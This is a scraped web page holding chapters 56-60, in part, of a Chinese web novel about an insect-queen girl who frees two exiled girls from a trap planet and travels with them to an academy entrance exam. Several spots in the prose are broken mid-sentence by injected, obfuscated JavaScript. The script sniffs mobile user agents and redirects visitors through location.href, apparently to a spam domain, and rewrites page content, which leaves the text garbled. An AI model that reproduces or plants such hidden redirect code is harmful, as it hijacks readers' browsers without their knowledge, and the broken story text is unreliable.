“而且我们这里还有现成的异世界坐标,对吧,阿尔法?” 异世界坐标-阿尔法,配合地举起手来。 耶莉娅把她的手摁下去:“呃,啊,那个……”她沉默,想最后再挣扎一下,“真的一定要做吗?” “苏珊想去玩。” “……好的。我会努力活下来的。” 耶莉娅其实以前也想过如果真的有人能把自己和缪瓦从这里带出去,对方会要求自己做什么——她不是小孩子了,知道这个世界上没有那么多无缘无故的好心人,风险与报酬相对,愿意带她们从这种地方离开的大概率不会是什么十全十美大善人。 普通点的是钱权财色,这个很好满足;特别一点的可能是愿望清单,但没关系,耶莉娅相信自己能做到;更特别一点的也许是什么推翻帝国统治全世界之类听起来就让人觉得中二病晚期发言,虽然听起来就不可能,但耶莉娅也愿意为此出力。 而现在……耶莉娅略带迷茫地接受了自己以后要去做时光机这种听起来就很不靠谱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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作为宇宙知名学府,亚达娜尔思的招生标准低到不可思议,只要顺利报名并通过考核就能成为其中一员,不管档案上有什么污点,学院的老师们都会出手摆平。 “好歹也是号称宇宙第一的学校嘛。” 耶莉娅还在动摇,伊索尔德趁热打铁,又搬出了一个耶莉娅无法拒绝的理由:“而且帝国人很少去那边,你不用担心被人认出来或者通缉。学校会保护你的。” 耶莉娅果断:“我跟你们一起去!” “缪瓦呢?”苏珊兴致勃勃,“你也跟我们一起去吧!” 耶莉娅:“啊,缪瓦的话…” “抱歉,我要去第四星系的边境。”她说,“大小姐的母亲在那边留下了一笔遗产,我要替大小姐去收回。这是我们之前就商量好的。” 耶莉娅点头:“是的,这也是我们复仇的起点。等我毕业之后,我会先回第四星系跟缪瓦汇合,然后开始着手攻破帝国主脑防御系统。等到一切都完成之后,我会跟缪瓦来找你们的,时光机的研发就等到那时候再正式开始吧。” “我明白了。”伊索尔德轻轻点头,她往外面看了一眼,隔着厚厚的土层,谁也不知道她看到了什么。 “检查日什么时候开始?” 耶莉娅回答:“早上十点半。” 阿尔法吃惊:“这么晚?” 缪瓦语气很不屑:“因为那群家伙起不来,拖拖拉拉就到这个时候了。” “等到守卫军一走我们就离开。那么,天黑了。”伊索尔德说,“休息吧。” 57.果酱 八个小时之后,太阳升起。灿烂的辉光被人造防御设施遮挡在外,厚重的云朵漂浮在最上面,从下往上望去的时候,隐约能看到金色的光彩。 早上九点半,村落各处陆陆续续传来声响,走动的声音,洗漱的声音,光曜石被整整齐齐码在篮子里的碰撞声,以及被高热灼伤表皮的滋啦声。 缪瓦第一个醒来,她先去叫耶莉娅起床,把要穿的衣服放在床边,接着轻手轻脚打开了杂物间的门,把一年积攒下来的光曜石拿出来。 耶莉娅换衣服很快,她穿得很厚重,任何有可能暴露在外的皮肤都被严实地包了起来。 她从杂物间旁边的小门钻了进去,嗡嗡声不断响起,不一会儿,耶莉娅抱着三只瓷盘走了出来。 瓷盘上码着面包片,被烘烤成了金黄色,旁边还放着一小罐果酱。 耶莉娅把几个倒在地上的椅子拉起来,咔咔几下,椅子就被重新组合成了一张桌子。盘子被放在上面,磕出沉闷的声音。 “这个很好吃。”耶莉娅把盘子放在桌子上,眼睛亮亮的,苏珊和阿尔法坐在她对面,代替伊索尔德吃了一口。 “哇!”苏珊又吃了一点果酱,“这个味道好特别,不像是浆果诶。以前都没吃到过。” 阿尔法有点眼馋:“真的吗?唉,说起来我还不知道你们这边的东西是什么味道呢…” “毕竟你是人偶嘛。”苏珊同情地拍了拍她的背,然后又吃了一口。 “说起来,伊索尔德呢?”阿尔法问,“好像没有看到她。她去哪了?” “去外面了,”灰百合回忆着,“呃,你知道的,她觉得这里很无聊……” 所以努力地去给自己找乐子去了。 耶莉娅小口小口咬着面包,闻言露出了困惑的神色:“那她可能会失望了,这里真的很无聊。” 流放地没有娱乐设施,只有光秃秃的雪原和坚硬的黑色森林,这里枯燥而无聊,除了日夜不停地挖掘光曜石,再没有别的事可做。甚至连果酱的原材料都是缪瓦用光曜石换的,因为这里寸草不生。 “我回来啦。” 话题中心的主人公语气轻松,像一帧被投影到现实中的影像突然出现在了她们周围。 “我刚刚好像听到你们在说我,”她歪了歪头,“怎么了吗?” “在聊你去哪里了。”阿尔法说,“你是在表演魔术吗,出场方式好神秘。” “是异能。” “苏珊苏珊,起来一下。”伊索尔德把灰百合抱起来,放到自己身上,顺手拿了它还没吃完的面包片塞过去,她在灰百合原本的位置坐下来,身上还带着风雪特有的冰寒气息,“你不知道很正常,毕竟对我们的世界了解还不够多嘛。” “是空间系?”耶莉娅猜测。 “嗯?差不多吧。”伊索尔德单手撑着脸,随意地说,“这是我家大祭司的异能,我借用一下而已。” 耶莉娅懵然:“异能是可以借的吗?” 伊索尔德思考了一下,回答道:“其他人不知道,但我可以。” 阿尔法想起之前伊索尔德说的话,感觉自己受到了欺骗。 “不是说游学不能接受家里的帮助吗!” 对此,伊索尔德的回答是:“这算是我自己的能力,所以没关系。” “啊,说起来,这个还给你。”耶莉娅想起什么,从自己的怀里拿起一团透明的火焰。它慢腾腾地在耶莉娅手中燃烧着,散发着安宁而让人微醺的热度。透明的颜色让它跟周围的环境融合得很好,如果不特别注意的话,很容易忽视它的存在。 这是伊索尔德的精神力。 耶莉娅身上的毒很麻烦,为了不让她身体状况更加恶化,伊索尔德干脆把自己的精神力摘了一小团放在耶莉娅枕边。离体的精神力在黑夜中持续压制着毒素,让耶莉娅久违地睡了个好觉。 “送给你了。”伊索尔德挥挥手,“精神力这种东西我有很多,不用还。” 耶莉娅的身体状况太复杂了,说是在濒死的边缘也不为过,伊索尔德敢肯定自己拿回来不到一分钟,她就又要变成灰白色的,既然如此,还不如就一直放在那呢。 反正于她而言,精神力这种东西是取之不尽用之不竭的。 耶莉娅眨眨眼,把那团火焰放到自己的口袋里。她没拒绝,点点头:“好。” 接下来的时间里,室内只剩下了咔擦咔擦啃面包的声音。灰百合确实很喜欢这种果酱,硬是违背了自己的饮食习惯把耶莉娅递来的面包片全吃完了。 “这么喜欢?”伊索尔德拎着它的叶子。 “真的很好吃嘛…你没吃,不懂的。”灰百合摇了摇花苞,“香香的,甜甜的,像花蜜一样。” “但你又不是蜜蜂?” 灰百合:“…一种形容。” 耶莉娅吃完最后一口面包,又把剩下的果酱涂抹在提前留出来的面包片上,她时间掐得刚刚好,等最后一点果酱抹完,缪瓦刚好从旁边的房间里走出来,从耶莉娅手中接过了自己的早餐。 面包还是热腾腾的,果酱中和了干巴巴的口感,缪瓦三两下吃完,从衣架上拿了外套。 “时间要到了。”缪瓦说。 歪歪扭扭挂在墙上的时钟已经走到了九点四十五,缪瓦踩着小凳子把它取下来,放进了挂在耶莉娅脖子上的空间纽中。 耶莉娅对伊索尔德她们道别:“再见,我们先去广场了。” “嗯。”伊索尔德说,“你们结束了叫我一声就好,需要我帮忙把这里炸掉吗?” 耶莉娅“啊”了一声,想了想。 重要的东西已经在昨天都收走了,而守卫军迟早会发现她们的逃跑,到时候很可能会来清查她们居住过的地方,既然迟早都要被破坏,不如先下手为强。 更何况,她也不怎么喜欢这个冷冰冰的地方。 耶莉娅鞠了一躬,说:“如果可以的话。” —— 耶莉娅和缪瓦是这里唯一会散发热量的活物,她们离开之后,这个地下室立刻变得冰冷起来。 灰百合问:“我们去干什么?去坐标点吗?” 昨天晚上她们约定了离开的坐标点,等检查日一过去,缪瓦和耶莉娅就会去那里跟她们汇合。 伊索尔德的手指拨弄着桌子耦合的关节,她在想事情,没太注意力道,这张桌子被戳出了几个洞,无声无息谴责着这位第六星系来客的粗暴行径。 她对此毫无愧疚心,继续戳戳,像沉迷于打地鼠游戏的小孩子。 “说话啦。”灰百合在她脖子上蹦蹦。 伊索尔德停下手中的动作:“我在想事情。” 阿尔法:“什么事?” “光曜石是很重要的。”她点开终端,一幅地图出现在她们面前,“这里,这里,还有这里,是目前已知的能够开采光曜石的地方。” 伊索尔德的手点在了无星带中的某处:“这里是我们所在的地方,一个新的,能够开采光曜石的矿脉。” “有什么奇怪的地方吗?” “物以稀为贵,光曜石很有用,说是战略资源也不为过。历史上也有过把持光曜石矿脉的矿主借此挑起纷争的例子。” 伊索尔德沉思:“怎么会把这种地方交给没用的贵族子弟看守呢,就算这里的确很荒凉。但想要逃出去的话,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984646|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是没有办法。” “你到底想说什么啦。”灰百合戳戳她,“拒绝谜语人。” “这很有可能是一个饵。或者说,陷阱。故意留出布防的缺口,诱惑目标…劫狱?”她说,“线索很少,不知道他们到底想干什么,不过要是跟我想的一样,那事情绝对不像耶莉娅说的那么简单。” “唔。”伊索尔德伸了个懒腰,她站起来,“算了,去看看就知道了。” —— 九点五十。 六千米之上的高空中悬浮着一座庞然大物,它是一个球体,表面像蜂巢一样留出了无数出入口。不断有小型飞行器从中飞出,接连不断地落到星球大气层表面,它们的外观很奇特,像干瘪的黑色树枝。 未激活的机械警察和纳米级监视器在大大小小的装备室里待命,训练有素的哨兵面无表情,兢兢业业地巡视着敌人可能埋伏的死角。 整座基地弥漫着肃杀的气氛,和耶莉娅说的废物贵族不能说是一模一样,只能说是截然不同。 虫翅极其轻微地扇动着,帮助她停滞在了基地附近的高空。 伊索尔德站在这座军事基地的面前,哈地笑出声来。 “我就说嘛,这肯定是陷阱啦。”她很高兴的样子,“耶莉娅的母亲比我想的更有价值,帝国竟然用了光曜石来骗她出场,她肯定还活着。” 虽然不知道她用什么方法逃脱了帝国的控制,但她肯定没放弃过寻找自己的孩子,帝国正是看中这一点才把耶莉娅和缪瓦流放到这里,严密地将她们看守起来,等待耶莉娅的母亲像当年一样自投罗网。 “有点好奇,我都想见见她了。”伊索尔德说。 基地的存在无可辩驳,灰百合和阿尔法不得不接受了整个无名星球只是陷阱的现实。 阿尔法嘀咕:“这样的话,星球上挖矿的人也有问题?搞什么啊,这么大阵仗用来骗小女孩,人类太过分了。” 伊索尔德想了想,否认:“不,那个应该是真的。耶莉娅很聪明,假的糊弄不过她。” “帝国没有发现我们吗?” 灰百合还没忘记她们进来的时候有多轻易,如果这里的布防只是看似疏漏的话,那帝国怎么会放任她们进到这里来? “因为阿尔法和你都没办法在宇宙辐射里存活,所以当时我就用精神力把你们罩起来了。”伊索尔德回答,“人类使用的雷达和生命体扫描仪是有极限的,它发现不了我,和你们。” 阿尔法忧愁起别的:“那计划还能顺利进行吗,他们是不是已经知道耶莉娅要跑掉了?” “知道了也没用吧,又抓不到。”伊索尔德沉思,“普通的军火轰炸和异能限制对我没用,虽然人类那边有研发针对虫族的武器,但是存量不多,而且使用起来也很笨重。总之不可能出现在这里。” 螳螂捕蝉,黄雀在后。但如果这为螳螂设下的陷阱里迎来了一只王虫呢? “嗯、反正来都来了,送他们一点小礼物好了。” 她往后滑行了一段距离,用精神力丝线牵住往外飞行的机器,稳准狠地把它们全都丢了回去。机器在基地的防护罩上砸出爆炸,火与光中,警报声响了起来。 主控AI开始检索监控,基地里的士兵也开始排除嫌疑人员。忙乱的呼声和脚步声传到伊索尔德耳边,她心情很好地打了个响指,更多的仪器失灵紊乱,被主控AI强制关闭了进程。 璀璨明亮的光球上一大片一大片的开始熄灭,模糊的人影映照在光球的玻璃上。 伊索尔德如同幽灵般摧毁了小半个基地控制系统,她拍了拍手:“不用应付检查日了,我们去找耶莉娅,现在就走吧!” 58.跃迁开始 广场很好找,从高空往下看,聚集在一起的人群异常显眼。他们排着长队,各自抱着各自的篮子,最前面站着两个验收的守卫军,打着呵欠,似乎很不耐烦的样子。 “演得真像。”阿尔法感叹。 “令行禁止需要长期训练,但是偷懒就很容易吧。”伊索尔德揣摩了一下人类的思维,“应该也不是很难?” 她轻飘飘落到地上,张望了一下,在队伍的中后段看到了耶莉娅和缪瓦。她们的脸被兜帽遮住了大半,只露出嘴唇和下巴。 “她们在那。”伊索尔德往前走了一步,被苏珊拉住了。 她后仰了一下,被拽回了原位。 伊索尔德不解:“怎么了?” “你不会隐形,过去肯定会立刻被发现的。”灰百合比划,“偷偷叫她们过来比较好吧?” 王虫不会被探测仪器发现不代表不会被人看到,她暂时还没学会怎么用精神力干扰人类的感知器官,做不到彻底的隐形。 “诶…我知道啦。但是有人来了啊。”伊索尔德调整了一下灰百合的方向,示意它去看那两个守卫军的背后,若隐若现的云层之中,出现了一架小型飞行器的影子,“看那边,飞行器要降落了。这里的通讯都被断绝了,传递消息的速度很慢,最好在被发现之前跑路,不然之后整个星球的人都会来抓我们的……唔。” 她忽然停下不说话了,若有所思。 “你想到别的办法了?” “不,只是想想感觉,还挺好玩的。”伊索尔德一只手握拳,在另一只手上敲了一下,“要不就这样吧?” 阿尔法幽幽:“我觉得,耶莉娅和缪瓦不会想那么高调的。你忘记缪瓦还要去第四星系吗?我们跟她不顺路,肯定会分开的,你现在的行为是在给人家的逃亡之路上调难度,很坏耶。” 伊索尔德有点沮丧地垂头:“好吧,我就随便一说。” “速战速决吧。有趣的事情又不止这一种。”苏珊趴到她头顶,两片叶子做望远镜状观察着不远处的队伍,“快到她们了,这个验收的速度也太快了吧?” 一般来说,验收时应该对开采出来的矿石按照重量、色泽、形状等要素进行评级,但在这里,这项漫长的流程被削减成了完全陌生的样子——每个人把自己的篮子放下,守卫军扫一眼,确定数量差不多之后就从旁边临时搭建的帐篷里拿出一箱物资,而拿到物资的人则老老实实站在一边,等所有人验收结束。 既没有专业的仪器作为辅助,也没有经验丰富的学者或从业者,随便到一种让人心生困惑的程度。 “光曜石比较特殊,”伊索尔德倒是知道为什么,“它的结构和性状都很稳定,是天然切割完美的矿石,不需要过多加工。矿产地而已,用不着那么复杂。反正这里的条件又不允许造假,随意一点很正常啦。” 伊索尔德一边说,一边从降落的地方走出去,姿态随意而自然,沉默而无声的队伍后端注意到这个突然出现的陌生人,面面相觑一小会儿,无可避免地开始骚动。 他们的不安定传染给了前面的人,渐渐的,整个场面都有些混乱起来。 耶莉娅原本在发呆,感知到不同寻常的动静之后,也有些困惑地抬起头来,往混乱的源头看去。 然后她就看到了正向她笑着走过来的伊索尔德。 耶莉娅:“……” 耶莉娅失去了表情。 心跳加速,头晕目眩,身体里的血液开始砰砰作响,她难得大脑一片空白,完全不知道伊索尔德怎么会突然出现在这里。前面的守卫军皱起眉,大概已经发现了异常,马上就会来查看。 “伊…”她下意识说出了一个很短的音节,接着立刻截断了它的发音,将剩下的字吞回腹中。 队伍的混乱还在继续,这里的人被外来者惊住,难得违背了禁令,开始忍不住小声交谈起来。 守卫军抬手空放了一枪示警,把目光从光曜石上收回,抬起头来,想看看到底发生了什么。 他看到一颗沾了血的头颅。眼前一黑后,又看到了高飞的鲜血。那血液淋了他一脸,他下意识想拔出武器,却发现自己动弹不得。 咚。 重物落地的声音响起。 他看到一坐一站的两具无头尸体,制服的样式非常熟悉,其中一个的手往侧伸出,似乎想从武装带上拔出什么。哪只手凝固在了半空,很快随着它的主人一起,倒在了地上。 他后知后觉听到耳边爆发的尖叫声,那声音意蕴深厚,饱含不安。 有人死了…? 他的视野彻底暗下去,在那一刻,他领悟到,那尸体正属于自己与同伴。 突然杀人的外来者和莫名死去的守卫军构成了恐惧二重奏,伊索尔德走到了耶莉娅的身边,拉起她的手。 她没有沾到血,言笑如常,光看她现在的模样,谁也不会相信她是悄无声息杀死两位守卫军的凶手,倒更像是来找朋友去踏青的女孩。 耶莉娅呆愣愣被她牵起手,听到她说—— “你的母亲还活着,我们走吧。” “…什么?” 耶莉娅飘荡的理智立刻回归了,她连伊索尔德为什么出现在这都顾不上,急切地追问道:“真的吗?能不能说得更详细点?她在哪里?” 伊索尔德很耐心,一一作答:“真的。不知道。不知道。更具体的情况等会儿再说?追兵要来了噢。”她眺望了一下远方的情景,一列装备齐全的士兵正下饺子一样往下跳。 耶莉娅下意识点了点头,另一只手抓住了缪瓦。 伊索尔德拽着她的手向远方奔去,王虫的身体素质在此刻展现得淋漓尽致,不过短短几秒,人群就被她远远甩到了后面。 列成一长条队伍的人们一个接一个地望向这边,耶莉娅不合时宜地觉得他们就像蚂蚁一样。 等到追兵反应过来开始驾驶飞行器追过来的时候,伊索尔德已经到达了昨天晚上定好的坐标点。 “现在离空间裂缝还有多远?” 她停下来,把自己的头发往后捋了捋。 即便被风吹得快要灵魂出窍,耶莉娅还是本着科学家的精神敬业地恢复了清醒。她从空间纽里拿出自制的测算仪器,开始查看数据。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990392|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 仪器很小巧,刚好能被耶莉娅拿在手里,上面有五个表盘,密密麻麻的数字在不停变化,被启动后,开始以实地环境自行计算方位。 她低下头,专注地看着表盘,双手捧着机器,表情很严肃,飞快报出一大串苏珊阿尔法听得懂听不懂的话。 “锚点坐标无误。” “风向校准完成。” “跃迁轨迹确认。” …… “跃迁通道完成。还有一分钟,空间裂缝就会出现。” 她仰起头,看到伊索尔德的眼睛变成了璀璨的金色。王虫居高临下看着她,微微倾身,一只手搭在她的肩膀上,一只手横过她的膝盖。 她们的脸挨得很近,阳光破开云层涂抹在伊索尔德的脸上,耶莉娅目不转睛看着她,发现她的眼睛下面有两列细细密密的鳞片若隐若现。 漆黑而狭长的空间裂缝出现在她们面前,金瞳虫族将她抱起来,毫不迟疑地走进了从未被实践验证过的通道。 / 昨天晚上,伊索尔德提出,用耶莉娅的跃迁通道离开这个星球,理由是被关在这里这么久,至少在最后留下一点开心的记忆吧。 【虽然用我的方式离开这里也可以,但我觉得你会更喜欢这种。】 银头发的虫族变魔术般拿出一颗玻璃弹珠,上面用特殊的颜料铭刻着复杂的公式与符号。 玻璃弹珠被放在向上摊开的掌心里,接收到暗示的耶莉娅拿起了它。 她听到自己迟疑而不确定的声音。 【我没有进行过实验,只是理论可行…】 也就是说,有失败的可能。 【没关系。】 伊索尔德看着她。 她口型变幻,吐出一句让耶莉娅下定决心的话语。 / 宇宙是真空,理论上来说,没有声音可以在这里出现。 耶莉娅很清楚这一点,但奇怪的是,她还是听见了伊索尔德的声音。 或许,那是昨夜的声音在回荡。 … 追兵被甩在身后,太阳悬在高处,雪白色的星球上被鲜血融化了一小块。耶莉娅贴着伊索尔德的胸膛,听到缓慢到几不可闻的、心脏跳动的声响。 她直视着眼前这令自己深深着迷,却从未亲自见过的宇宙,又一次被晕眩感击中。 宇宙冰冷,残酷,神秘,对生命满不在乎。它太庞大了,有时候,连时间在其中丧失意义。不会有人去妄想改变宇宙,就好像宇宙也不会因为任何一个人存在。 它只是旋转、膨胀。 永无尽头。 心脏又开始砰砰作响,加速跳跃。但不是因为恐惧,而是因为某种更难以捉摸的、让人困惑不解的东西。 耶莉娅无意识喃喃: “跃迁开始。” … 【你觉得这次跃迁会成功吗?】 … 无穷无尽的光彩在她眼前爆发。 她听到回声。 轻松的、懒洋洋的、带着点微不可查的笑意。 ——【我相信你。】 59.意外 跃迁很成功,当耶莉娅从穿梭空间的混沌中清醒过来的时候,她们已经在无名星球外的某处无人区成功降落。 只是有一个小问题。 “——这是哪里啊?”苏珊发出了茫然的声音。 她们此刻正置身于一片茂密的热带雨林,抬头望去,过分繁茂的植被将光亮全部吞没,昏暗至极,日夜不分。 或许唯一安心的地方在于她们所在的地方是雨林里难得的空旷地带,周围散落着三三两两的人群,吵吵嚷嚷,硬是以三十人的数量弄出了三百个人才应该有的动静。 “报名的来这里,报名的来这里。21、15、9号请出列。” 空旷地带的尽头树立着一块写了亚达娜尔思学院全名的立牌,立牌上面搭着一个鸟窝,被提前充能的喇叭正在全方位多角度地呼喊着报名者的编号。 突兀出现在这里的伊索尔德一行没有引起任何人的注意,不论是结伴前往雨林深处的报名者,亦或者蹲在喇叭下面埋头睡觉的人,相当自然地接受了她们的到来。 阿尔法感觉自己有很多话想说。 阿尔法:“虽然这样说可能不太好,但是我觉得这里,怪人好多啊……” 伊索尔德:“有吗?我觉得还好吧。不过这里应该已经偏移坐标有一段距离了,离第四星系有点远。” 耶莉娅咳了一声:“那个,空间的具体定位会因为多种原因受到影响,包括但不限于质量和数量。” 她之前设计的跃迁通道只能做到单人定向跃迁,虽然多几个人也不会影响跃迁通道的构建,但是相对来说不会那么准确。 换句话说,这种偏移很正常。 “嗯……”伊索尔德没多纠结这个问题,她把耶莉娅放下来,环顾四周,回忆了一下之前看到的公告上的报名地点,“我们好像直接到报名点了,也挺好的。” 耶莉娅:“确实呢,那边应该就是报名…” 她沉默了。 耶莉娅有些迟疑地看着那个打扮得花里胡哨,第一眼看过去就让普通人类脆弱的视网膜受到重创的自走圣诞树,脸上出现了苏珊同款茫然表情。 “那是报名点吗?” 以红黄蓝绿青蓝紫为基础演变而来的各种色彩在木牌下面的人身上均匀地分布着,大红的头发,墨绿的衬衫,黑色的墨镜以及紫水晶做的手串和项链……难以描述的搭配挂在同一个人身上,只是远远地看上一眼,耶莉娅就感觉自己的眼睛开始忍不住流泪。 ……眼睛好痛。现在流行这种吗? “说人是报名点是不是有点不太礼貌吧。” 报名点开口说话了。 原本蹲在地上的人站起来,伸了个懒腰,他把墨镜摘下来,露出一双黑色的眼睛。 跟身上的灾难穿搭不同,那双眼睛很沉静,不过当他开口说话的时候,那份沉静就被打破了。 “哎呀!你们就是32、33和34号了吧,我等得可辛苦了,你们终于来了啊。顺便一提,我是考官静静子,你们可以叫我静静。” 自称静静的考官把墨镜推上去,摇摇晃晃走到伊索尔德面前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14994859|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单手在空中一转,便拿出了三个红底白字的号码牌。耶莉娅从善如流接过来,发现上面已经写好了她们的名字。 “不是应该当场报名吗,这些是?”耶莉娅挥了挥号码牌,“我们似乎还没有在官网填写资料。” “一点小技巧。”他笑,“身为亚达娜尔思的考官,这点事情还是没问题的噢。” 耶莉娅沉思:“根据访问网址的账号定向追踪吗?” 如果是这样的话,只需要根据过去的浏览记录交叉对比就能得到一份差不多的名单,再筛除掉一些不可能的选项,似乎也不是做不到的事情。 静静子睁大眼——由于他戴着墨镜,其实除了过分敏锐的伊索尔德外根本没人注意到他的眼睛变化:“这位同学,你的思维很危险啊,未经允许入侵星网是违法行为,会被警告的。” “啊?”耶莉娅愣了一下,“违法吗?” 她下意识去看伊索尔德,想知道是不是真的。 兼职虫族精神网络管理员因此对星网不怎么熟悉的伊索尔德想了想。 “有人来找你麻烦我会解决的。” 她做了一个抽刀的动作。 “……这我可不能当做没听到。”本想开个玩笑结果发现未来学生竟然是法外狂徒的静静子缓缓说道,“亚达娜尔思禁止杀戮。” “你在想什么啊?”伊索尔德困惑地看他,“我可以用刀背把他们拍晕。” 静静子干笑:“…哈哈,真的吗?” 你以为我会信吗?你刚刚身上都冒杀气了啊?! 60.考题 “总之,你们已经拿到号码牌了。接下来,请跟随指引前往森林深处,考核地点就在那里。” 吐槽归吐槽,工作归工作,在招生这件事上,静静子无疑是个相当合格的考官。他装作没听到伊索尔德和耶莉娅的发言,自顾自讲完了考试的流程。 说完,他问:“还有什么问题吗?” “考核是立刻开始吗?”伊索尔德说。 “嗯?是有什么事要做吗?”他疑惑了一下,还是解答了,“只要在号码牌被叫到的时候在场就可以,按照你们手上的数字的话,大概还有二十分钟吧。” “噢。”伊索尔德沉思了下,去看缪瓦,语气相当自然,“既然这样,那我们先走吧,你不是还要去第四星系吗?我带你过去。” 缪瓦没有异议,倒是静静子在一旁欲言又止,看起来有很多话想说。 耶莉娅问:“是不允许外出吗?” “不,没有这种规定。但是由于考试的缘故,这颗星球的对外交通方式都被封锁了。星舰和光梭都是不允许被通行的。”他说。 “用别的办法不就好了。”伊索尔德理所当然地说。 “……确实是这样没错。”他沉默了下,“虽然不知道你打算用什么方法离开这,但总之希望尽可能不要太引人注目。” 静静子的语气很平静,也很沉痛,有一种心如死灰的麻木感。 “那样的话,收尾起来会很困难。” 他有预感,这女孩能惹出来的乱子远超想象,尽管对这点早有预料,可起码现在,他还是不切实际地期望这次考核能平安结束。 “……”伊索尔德诡异地沉默了。片刻后 ,她若无其事道:“嗯,这样啊,我知道了。” 还是先低调一点吧。她想,这位考官的接受能力好像不是很高。 伊索尔德放弃了自己把星球防护罩轰掉三分之一的想法,她选了一个比较薄弱的角度,精巧而迅速地将核心部件破坏了。 笼罩着整颗星球的透明防护罩上出现了一个仅容一人通过的圆洞,伊索尔德伸出手,从上往下在空中划开了一条漆黑的裂缝。 裂缝的样子很熟悉,正是刚刚她们跃迁时穿过的那种。要说有什么不同的话,可能是对面并非全然的黑暗,而是隐隐约约露出了热闹繁华的景象。 “对面是利维坦星港。”伊索尔德耸耸肩,“我能定位到的最接近第四星系的地方。” “我尽可能削减了跃迁的不适感,落地之后可能空间感会有些失调,过一会儿就好。”伊索尔德把手伸进去,顺便检测了一下有没有空间乱流的留存。她并不常用这项从塔纳斯那里借来的异能,未免出什么意外,还是先排查一下可能项比较好。 “没什么问题。”她把手收回来,“你自己过去吧,我就不送你了。” 缪瓦点点头,在伊索尔德注视下一步步向着裂缝走去。 在即将完全没入裂缝时,她的声音模模糊糊从里面传出。 “非常感谢您。”她用的是帝国最高等级的敬语,“虽然这样说很冒昧,但是大小姐就拜托您了。” 她说:“耶莉娅跟您在一起的时候很开心。您的慷慨和善良令人难忘。” 缪瓦的身影完全消失在了裂缝之中。 “善良?”伊索尔德对着合上的裂缝嘀咕,“我吗?” —— 送走缪瓦后,伊索尔德跟耶莉娅她们汇合了。空旷地带上的人越来越少,她估摸着下一批进去的就是自己。 静静子又蹲回了招牌底下,耶莉娅跟灰百合找了块阴凉地坐下,手上把玩着几根落在地上的树枝。 她们小声交谈着。 “…这里有雨的痕迹,防护罩应该是前天升起来的,通告上说考核时间总共五天,我们到得不早不晚,应该是个很不错的节点。”耶莉娅拿着树枝在地上写写画画,她拿笔的姿势很不标准,有种孩子气的童稚感。 “不知道会考些什么呢?”阿尔法说,“我看大家都在讨论这些,不过亚达娜尔思的考试一向稀奇古怪的,说什么的都有。” “森林的话,说不定是考察对植物的辨认和使用?”森林是精灵族的主场,灰百合光是待在这里就觉得很舒服,也不禁加入话题,畅想起来。 “如果是布置了防护罩的话,要考虑这里是不是有叠加空间的存在。”耶莉娅咬了咬树枝,入口却是草木的清苦味道,她很快又意识到这不是自己的电子笔,立刻呸呸了两声。 “叠加空间?” “嗯。”耶莉娅说,“这里启用的防护罩主要用于【封锁】,也就是说,这里很可能存在不稳定的多重空间,考虑到防护罩并非常年开启,那么这种不稳定的空间应该是最近出现的,有很大可能是我们的考场。” “我回来了——”屏息凝神听了很久的伊索尔德忽然伸出双手放在耶莉娅肩上,她行动悄无声息,预备吓耶莉娅一跳,“你们在想考题吗?我有办法噢。” “什么办法呀?”耶莉娅如她所料那样仰起头来看她,语气和神情都十分自然,一点看不出被吓到的痕迹。 啊…… 伊索尔德后知后觉,恶作剧没成功。 这个念头只出现了很短的一瞬间,很快就被她抛之脑后。伊索尔德在她身边坐下来,肩膀挨着肩膀。 “考试嘛,无非就是那些东西。”伊索尔德像模像样地说着,即便她于考试一道上毫无经验,“要么考察入学的目的,要么考察入学的才能,不管设置了怎样无厘头或古怪的测试,都只是从这两条出发。” 她单手托着脸,从地上拿起一根断裂的树枝,在空中挥舞了几下,晃出毫无规律的轨迹:“因此,考试项目无关紧要,只要亚达娜尔思的考官还有最基础的素养,就不会拒绝我们的入学。” 这并非伊索尔德傲慢,她只是在陈述事实。耶莉娅于机械一道上的天赋不必赘言,来自精灵族的苏珊于“生命”方面也是信手拈来,至于阿尔法,她虽然看起来总是有些粗心,但既然得到“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 